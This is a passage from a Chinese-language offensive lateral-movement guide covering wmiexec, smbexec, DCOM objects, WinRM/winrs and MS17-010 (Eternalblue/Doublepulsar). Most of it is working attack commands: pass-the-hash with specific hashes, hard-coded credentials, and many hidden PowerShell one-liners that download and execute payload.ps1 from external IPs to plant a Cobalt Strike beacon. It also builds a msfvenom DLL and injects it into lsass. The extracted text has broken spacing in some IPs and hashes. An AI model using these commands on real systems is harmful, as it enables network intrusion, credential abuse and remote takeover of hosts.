1 2 3 4 5 wmiexec.exe 域名/用户名:密码@目标IP wmiexec.exe administrator:Admin123@10.210.100.11 "whoami" wmiexec.exe 域名/用户名:密码@目标IP "ipconfig" wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@目标IP wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@目标IP "ipconfig"
利用powershell上线 1、使用账号密码登录进行powershell上线
1 2 wmiexec.exe administrator:Admin123@10.210 .100.11 -c IEX ((new -object net.webclient).downloadstring('http://ip:8989/payload.ps1' ))
2、使用hash上线
cs右键dumphash
aad3b435b51404eeaad3b435b51404ee:e45a314c664d40a227f9540121d1a29d
1 2 3 4 5 wmiexec.exe -hashes aad3b435b51404eeaad3b435b51404ee:e45a314c664d40a227f9540121d1a29d administrator@10.210 .100.11 "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://ip:8989 /payload.ps1'))"
wmiexec.vbs wmiexec.vbs脚本通过VBS调用WMI来模拟PsExec的功能。其可以在远程系统中执行命令并进行回显, 获取远程主机的半交互式Shell。wmiexec.vbs支持两种模式,一种是半交互式shell模式,另一种是执行 单条命令模式
1 cscript.exe // nologo wmiexec.vbs /cmd IP 用户 密码 "命令"
使用powershell上线
1 2 3 cscript.exe "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://ip:9988 /payload.ps1'))"
Invoke-WMIExec Invoke-WMIExec是一个powershell脚本在Invoke-TheHash的文件中用法如下
1 2 Invoke-WMIExec -Target IP -Domain 域 -Username 用户 -Hash hash -Command "calc.exe" -verbose
采用无文件落地的方式进行横向
1 2 3 4 shell powershell -exec bypass -c IEX (New -Object System .Net.Webclient).DownloadString('http://118.178.134.226:9988/Invoke-WMIExec.ps1' );import -module .\Invoke-WMIExec.ps1;Invoke-WMIExec -Target192.168 .41 .148 -Username administrator -Hash 570 a9a65db8fba761c1008a51d4c95ab - Command "whoami" -verbose
本地执行
1、导入脚本
1 powershell -import powershell/Invoke-WMIExec.ps1
2、运行上线命令
1 2 3 4 5 powershell Invoke-WMIExec -Target 192.168 .41.20 -Username administrator -Hash570 a9a65db8fba761c1008a51d4c95ab -Command ((new -object net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1' ))verbose
Invoke-WMIMethod.ps1 该模块为Powershell内置模块,以下为示例(在被控机器的powershell中执行),可以自由组合命令进行测试。
1 2 3 4 5 6 7 8 9 10 11 12 13 $User $Password $Cred Invoke-WMIMethod $User = "administrator" $Password = ConvertTo-SecureString -String "Admin@123" -AsPlainText -Force $Cred = New-Object -TypeName System.Management.Automation.PSCredential - ArgumentList $User , $Password Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))" - ComputerName "192.168.41.20" -Credential $Cred
14.smb远程执行命令横向移动 SMB介绍 SMB全称是Server Message Block翻译过来是服务器信息块,它也是一种客户端到服务器的通信协议 。除此之外,SMB协议也被称为请求-回复协议。客户端与服务器建立连接后,客户端可以向服务器发送SMB命令允许用户访问共享、打开、读取或者是写入文件。
利用条件:开启了445端口
smbexec使用 smbexec为impacket工具中的工具,操作简单,容易被杀,使用时无需先进行IPC连接
1 2 3 4 5 明文传递命令: smbexec hsyy.com/administrator: 123 .com@192 .168.213 .163 hash传递: smbexec -hashes : $HASH $ ./admin@192 .168.213 .163 smbbexec -hashes : $HASH $ domain/admin@192 .168.213 .163
使用明文 存在交互,需要远控电脑
1、输入命令
1 smbexec.exe administrator:Admin123@ 10.210 .100 .11
使用hash 1 smbexec.exe -hashes aad3 b435 b51404 eeaad3 b435 b51404 ee:e45 a314 c 664 d40 a227 f9540121 d1 a29 d administrator@10 .210.100 .11
15.DCOM远程执行命令横向移动 DCOM介绍 DCOM(分布式组件对象模型)是微软的一系列概念和程序接口。它支持不同的两台机器上的组件间的通信 ,不论它们是运行在局域网、广域网、还是Internet上。利用这个接口,客户端程序对象能够向网络中另一台计算机上的服务器程序对象发送请求 ,使用DCOM进行横向移动的优势之一在于,在远程主机上执行的进程将会是托管COM服务器端的软件
获取DCOM列表 1 2 3 Get -CimInstance Win32_DCOMApplicationGet -CimInstance -classWin32_DCOMApplication | select appid,name Get -WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication
DCOM横向前提 1 2 3 1、需要关闭系统防火墙 2、必须拥有管理员权限 3、在远程主机上执行命令时,必须使用域管的administrator账户或者目标主机具有管理员权限的账户
实验 MMC20.Application组件远程执行命令 1、通过PowerShell与DCOM进行远程交互,此外,我们只需要提供一个DCOM ProgID和一个IP地址, 然后,它就从远程返回一个COM对象的实例
1 $com =[activator] ::CreateInstance ([type] ::GetTypeFromProgID ("MMC20.Application" ,"127.0.0.1" ))
2、然后执行如下命令,我们就可以调用”ExecuteShellCommand”方法在远程主机上启动进程
1 $com .Document .ActiveView .ExecuteShellCommand ('cmd.exe' ,$null ,"/c calc.exe" ,"Minimzed" )
3、将IP和命令换成上线的命令
1 $com =[activator] ::CreateInstance ([type] ::GetTypeFromProgID ("MMC20.Application" ,"10.210.100.12" ))
1 $com .Document .ActiveView .ExecuteShellCommand ('cmd.exe' ,$null ,"/c powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://49.234.20.184:8989/payload.ps1'))" ,"Minimzed" )
分开执行可能会失败,连接起来执行:
1 [activator] ::CreateInstance ([type] ::GetTypeFromProgID ("MMC20.Application" ,"10.210.100.12" )).Document .ActiveView .ExecuteShellCommand ('cmd.exe' ,$null ,"/c powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://49.234.20.184:8989/payload.ps1'))" ,"Minimzed" )
ShellWindows组件远程执行命令 1 2 3 [Activator ]::CreateInstance ([Type ]::GetTypeFromCLSID ('9BA05972-F6A8-11CF-A442- 00A0C90A8F39' ,"10.210.100.12" )).item().Document .Application .ShellExecute ("cmd.exe" ," /c calc.exe" ,"c:windowssystem32" ,$null ,0 ) 打开本地计算器
远程上线:
1 [Activator] ::CreateInstance ([Type] ::GetTypeFromCLSID ('9BA05972-F6A8-11CF-A442-00A0C90A8F39' ,"10.210.100.12" )).item ().Document .Application .ShellExecute ("cmd.exe" ,"/c powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://49.234.20.184:8989/payload.ps1'))" ,"c:windowssystem32" ,$null ,0 )
ShellBrowserWindow远程执行命令 适用于Windows 10和Windows Server 2012 R2等版本的系统。
1 [activator] ::CreateInstance ([type] ::GetTypeFromCLSID ("C08AFD90-F2A1-11D1-8455-00A0C91F3880" ,"10.210.100.12" )).Document .Application .shellExecute ("cmd.exe" ,"/c powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://49.234.20.184:8989/payload.ps1'))" ,"c:windowssystem32" ,$null ,0 )
调用Excel.Application远程执行命令 目标主机中安装有excel
1、 通过PowerShell与DCOM进行远程交互,创建Excel.Application对象的实例
1 2 3 $com =[activator] ::CreateInstance ([type] ::GetTypeFromprogID ("Excel.Application" ,"192.168.41.147" ))$com .DisplayAlerts = $false $com =[activator] ::CreateInstance ([type] ::GetTypeFromprogID ("Excel.Application" ,"127.0.0.1" ))
2、然后执行如下命令,我们就可以调用该对象的”DDEInitiate”方法在远程主机上启动进程
1 $com .DDEInitiate ("cmd.exe" ,"/c 参数" )
Visio.Application远程执行命令 目标主机中安装有Visio
1 [activator] ::CreateInstance ([type] ::GetTypeFromProgID ("Visio.Application" ,"192.168.52.138" )).[0] .Document .Application .shellExecute ("C:shell.exe" )
Outlook.Application远程执行命令 目标主机中安装有Outlook
1 [activator] ::CreateInstance ([type] ::GetTypeFromProgID ("Outlook.Application" ,"192.168.52.138" )).createObject ("Shell.Application" ).shellExecute ("C:shell.exe" )
Impacket 中的dcomexec.py 1 2 3 4 5 dcomexec.exe [domain/] username:password@ip dcomexec.exe [domain/] username:password@ip command dcomexec.exe administrator:Admin123@10.210 .100.12 hostname dcomexec.exe administrator:Admin123@10.210 .100.12 cmd.exe /c "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://49.234.20.184:8989/payload.ps1'))" dcomexec.exe [domain/] username:@ip -hashes [hash]
16.WinRM远程执行命令横向移动 WinRM介绍 WinRM(Windows远程管理)是Microsoft 在Windows中对WS-Management的实现,它使系统可以跨通用网络访问或交换管理信息。利用脚本对象或内置的命令行工具,WinRM可以与可能具有基板管理控制器(BMC)的任何远程计算机一起使用,以获取数据。也可以获取基于Windows的计算机(包括WinRM)。 WinRM默认端口5985(HTTP端口)或5986(HTTPS端口),若配置了WINRM远程服务,当我们拿到一个管理员账户时,可以使用远程连接进行命令执行操作
winrm通过HTTP(5985)或HTTPS SOAP(5986)端口来进行通信
winrs.exe Winrs.exe 是一个内置的命令行工具,它允许远程命令的执行在WinRm的适当的有资格的用户
1 2 3 4 5 6 7 8 winrs -r:http:// 127.0 .0.1 :5985 -u:administrator -p:Admin@123 "whoami" winrs -r:http:// 127.0 .0.1 :5985 -u:机器名\用户名 -p:xxxxx "ipconfig" winrs -r:https:// 127.0 .0.1 :5985 -u:机器名\用户名 -p:xxxxx "ipconfig" winrs -r:http:// 127.0 .0.1 :5985 -u:机器名\用户名 -p:xxxxx cmd winrs -r:https:// 127.0 .0.1 :5985 -u:机器名\用户名 -p:xxxxx cmd Invoke-Command -ComputerName TARGET -ScriptBlock { dir c:\ } Invoke-Command -ComputerName TARGET -Credential 域名\用户名 -command {Get-Culture} Invoke-Command -ComputerName TARGET -Credential 域名\用户名 -ScriptBlock {Get-Culture}
1、执行
1 2 3 winrs -r:http:// 10.210 .100.12 :5985 -u:administrator -p:Admin123 "whoami" 远程上线: winrs -r:http:// 10.210 .100.12 :5985 -u:administrator -p:Admin123 cmd.exe /c "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http:/ /49.234.20.184:8989/ payload.ps1'))"
提示:如果出现
1 2 3 4 Winrs error :WinRM 客户端无法处理该请求。 可以在下列条件下将默认身份验证与 IP 地址结合使用: 传输为 HTTPS 或目标位于 TrustedHosts 列表中,并且提供了显式凭据。 使用 winrm.cmd 配置 TrustedHosts。请注意,TrustedHosts 列表中的计算机可能未经过身份验证。 有关如何设置 TrustedHosts 的详细信息,请运行以下命令
输入出现 切换到cmd输入
1 winrm set winrm/config/Client @{TrustedHosts ="*" }
17.使用系统漏洞ms17010横向移动 Cobalt Strike 生成DLL 1、生成 CS的生成 bin文件
2、使用msf 用 bin文件生成 dll文件
1 msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x64 --platform windows -f dll -o 123 .dll
3、或者直接使用cs生成
原版ms17-010渗透 1、上传ms17-010工具 CS执行下面的命令 (目标似乎只能打win7)
植入后门
1 Eternalblue-2.2 .0 .exe --TargetIp 10.210 .100 .xx --Target WIN72K8R2 --DaveProxyPort =0 --NetworkTimeout 60 --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig outlog.txt
1 Doublepulsar-1.3 .1 .exe --InConfig Doublepulsar-1.3 .1 .xml --TargetIp 192.168 .41.168 --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload 123 .dll --payloadDllOrdinal 1 --ProcessName lsass.exe --ProcessCommandLine "" --NetworkTimeout 60